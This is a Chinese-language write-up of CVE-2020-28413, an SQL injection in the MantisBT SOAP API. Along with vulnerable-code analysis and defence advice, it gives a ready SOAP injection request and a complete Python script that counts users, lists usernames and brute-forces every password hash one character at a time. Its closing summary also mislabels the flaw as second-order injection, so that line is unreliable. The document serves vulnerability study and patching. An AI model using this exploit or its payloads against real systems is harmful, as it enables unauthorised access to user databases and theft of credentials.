CVE-2020-28413 MantisBT SQL注入漏洞分析
字数 956 2025-08-26 22:11:28

CVE-2020-28413 MantisBT SQL注入漏洞分析与利用指南

漏洞概述

CVE-2020-28413是Mantis Bug Tracker (MantisBT)中的一个SQL注入漏洞,影响2.24.3及以下版本。该漏洞存在于API Soap组件的mc_project_get_users方法中,通过access参数可导致SQL注入攻击。

漏洞影响

  • 影响版本:MantisBT 2.24.3及以下版本
  • 漏洞位置/api/soap/mantisconnect.php文件中的mc_project_get_users方法
  • 攻击复杂度:需要有效凭证(低权限账户即可)
  • 危害:可获取数据库中的所有用户密码哈希值

环境搭建

  1. 下载MantisBT 2.18版本(或其他受影响版本)
  2. 安装PHP SOAP扩展:
    apt install php-soap
    service apache2 restart
    
  3. 确保MantisBT正常运行

漏洞复现

手动验证

发送以下SOAP请求验证漏洞存在:

POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: target_host
Content-Type: text/xml
SOAPAction: "http://target_host/mantisbt/api/soap/mantisconnect.php/mc_project_get_users"
Content-Length: 810

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
   <soapenv:Header/>
   <soapenv:Body>
      <man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="xsd:string">valid_username</username>
         <password xsi:type="xsd:string">valid_password</password>
         <project_id xsi:type="xsd:integer">0</project_id>
         <access xsi:type="xsd:string">0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1</access>
      </man:mc_project_get_users>
   </soapenv:Body>
</soapenv:Envelope>

成功响应将包含用户表中的记录数。

自动化利用

使用提供的Python脚本进行自动化利用:

import requests, sys, time
from lxml import etree

def Hacer_Peticion(query):
    home = "http://target_host/mantisbt/"
    url = home+"/api/soap/mantisconnect.php"
    headers = {'content-type': 'text/xml',
               'SOAPAction': url+'"/mc_project_get_users"'}
    mantis_db_user = "valid_username"
    mantis_db_pass = "valid_password"
    body = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
       <soapenv:Header/>
       <soapenv:Body>
          <man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
             <username xsi:type="xsd:string">"""+mantis_db_user+"""</username>
             <password xsi:type="xsd:string">"""+mantis_db_pass+"""</password>
             <project_id xsi:type="xsd:integer">0</project_id>
             <access xsi:type="xsd:string">"""+query+"""</access>
          </man:mc_project_get_users>
       </soapenv:Body>
    </soapenv:Envelope>"""
    response = requests.post(url, data=body, headers=headers, verify=False)
    parser = etree.XMLParser(remove_blank_text=True)
    xml = etree.XML(response.content, parser)
    xml = etree.tostring(xml)
    return(str(xml))

def Cantidad_Usuarios_Mantis():
    query = "0 union all select concat('-',(select count(*) " \
            "from mantis_user_table),'0'),2,3,4 order by id asc limit 1"
    xml = Hacer_Peticion(query)
    txt = xml.split("integer")
    txt = txt[1].split("id")
    registros = str(str(str(txt[0])[:-2])[-2:])[:-1]
    return(registros)

def Obtener_Id(usr_pos):
    query = "0 union all select concat((SELECT id FROM mantis_user_table " \
            "order by id asc limit 0,1),'0'),2,3,4 limit "+str(usr_pos)+",1"
    xml = Hacer_Peticion(query)
    txt = xml.split("integer")
    txt = txt[1].split("id")
    id = str(str(txt[0])[:-2])[-1:]
    name = str(str(txt[1])[29:]).split("</name>")[0]
    return (id+"-"+name)

def brute_force(data):
    charts = "abcdefghijklmnopqrstuvwxyz0123456789"
    passw = ""
    id = data.split("-")[0]
    name = data.split("-")[1]
    for cp in range (1,33,1):
        for c in charts:
            print(f"\rHash: {passw}", end="")
            time.sleep(0.00001)
            sys.stdout.flush()
            query = "0 union all select (select if(substring((select binary(password) " \
                    "from mantis_user_table where id = " + str(id) + ")," + str(cp) + ",1)='" + str(c) + "','0','900000000000000000000')), 2,3,4 order by id asc limit 1"
            xml = Hacer_Peticion(query)
            txt = xml.split("integer")
            txt = txt[1].split("id")
            r_id = str(str(txt[0])[:-2])[-1:]
            if(r_id=="0"):
                passw = passw + str(c)
                break
    print(f"\r", end="")
    sys.stdout.flush()
    print(name+": "+passw)

def main():
    cantidad_users = Cantidad_Usuarios_Mantis()
    print("Cantidad usuarios en db: "+str(cantidad_users))
    print("Obteniendo Hashes...")
    for x in range(0,int(cantidad_users),1):
        brute_force(Obtener_Id(x))

if __name__ == "__main__":
    main()

漏洞分析

漏洞位置

漏洞位于mc_project_get_users函数中(定义在mc_project_api.php文件):

function mc_project_get_users( $p_username, $p_password, $p_project_id, $p_access ) {
    global $g_project_override;

    $t_user_id = mci_check_login( $p_username, $p_password );

    if( $t_user_id === false ) {
        return mci_fault_login_failed();
    }

    $g_project_override = $p_project_id;

    $t_users = project_get_all_user_rows( $p_project_id, $p_access ); # 漏洞点
    // ...
}

$p_access参数未经适当过滤直接传递到project_get_all_user_rows函数。

SQL注入原理

project_get_all_user_rows函数中:

function project_get_all_user_rows( $p_project_id = ALL_PROJECTS, $p_access_level = ANYBODY, $p_include_global_users = true ) {
    // ...
    if( $p_include_global_users ) {
        db_param_push();
        $t_query = 'SELECT id, username, realname, access_level
                FROM {user}
                WHERE enabled = ' . db_param() . '
                    AND access_level ' . $t_global_access_clause; // $p_access_level直接拼接
        $t_result = db_query( $t_query, array( $t_on ) );
        // ...
    }
    // ...
}

$p_access_level(即$p_access)直接拼接到SQL查询中,而不是作为参数传递,导致SQL注入。

注入利用技术

  1. 确定用户数量

    0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1
    
  2. 获取用户ID和用户名

    0 union all select concat((SELECT id FROM mantis_user_table order by id asc limit 0,1),'0'),2,3,4 limit {position},1
    
  3. 逐字符爆破密码哈希

    0 union all select (select if(substring((select binary(password) from mantis_user_table where id = {user_id}),{char_position},1)='{char}','0','900000000000000000000')), 2,3,4 order by id asc limit 1
    

防御措施

  1. 升级到最新版本:MantisBT官方已发布修复版本
  2. 参数化查询:确保所有SQL查询使用参数化查询而非字符串拼接
  3. 输入验证:对所有用户输入进行严格验证
  4. 最小权限原则:确保应用数据库用户仅具有必要权限
  5. Web应用防火墙:部署WAF防止SQL注入攻击

总结

CVE-2020-28413是一个典型的二阶SQL注入漏洞,攻击者可以利用低权限账户通过精心构造的SOAP请求获取数据库敏感信息。开发人员应始终使用参数化查询并验证所有用户输入,以防止此类漏洞。

CVE-2020-28413 MantisBT SQL注入漏洞分析与利用指南 漏洞概述 CVE-2020-28413是Mantis Bug Tracker (MantisBT)中的一个SQL注入漏洞,影响2.24.3及以下版本。该漏洞存在于API Soap组件的 mc_project_get_users 方法中,通过 access 参数可导致SQL注入攻击。 漏洞影响 影响版本 :MantisBT 2.24.3及以下版本 漏洞位置 : /api/soap/mantisconnect.php 文件中的 mc_project_get_users 方法 攻击复杂度 :需要有效凭证(低权限账户即可) 危害 :可获取数据库中的所有用户密码哈希值 环境搭建 下载MantisBT 2.18版本(或其他受影响版本) 安装PHP SOAP扩展: 确保MantisBT正常运行 漏洞复现 手动验证 发送以下SOAP请求验证漏洞存在: 成功响应将包含用户表中的记录数。 自动化利用 使用提供的Python脚本进行自动化利用: 漏洞分析 漏洞位置 漏洞位于 mc_project_get_users 函数中(定义在 mc_project_api.php 文件): $p_access 参数未经适当过滤直接传递到 project_get_all_user_rows 函数。 SQL注入原理 在 project_get_all_user_rows 函数中: $p_access_level (即 $p_access )直接拼接到SQL查询中,而不是作为参数传递,导致SQL注入。 注入利用技术 确定用户数量 : 获取用户ID和用户名 : 逐字符爆破密码哈希 : 防御措施 升级到最新版本 :MantisBT官方已发布修复版本 参数化查询 :确保所有SQL查询使用参数化查询而非字符串拼接 输入验证 :对所有用户输入进行严格验证 最小权限原则 :确保应用数据库用户仅具有必要权限 Web应用防火墙 :部署WAF防止SQL注入攻击 总结 CVE-2020-28413是一个典型的二阶SQL注入漏洞,攻击者可以利用低权限账户通过精心构造的SOAP请求获取数据库敏感信息。开发人员应始终使用参数化查询并验证所有用户输入,以防止此类漏洞。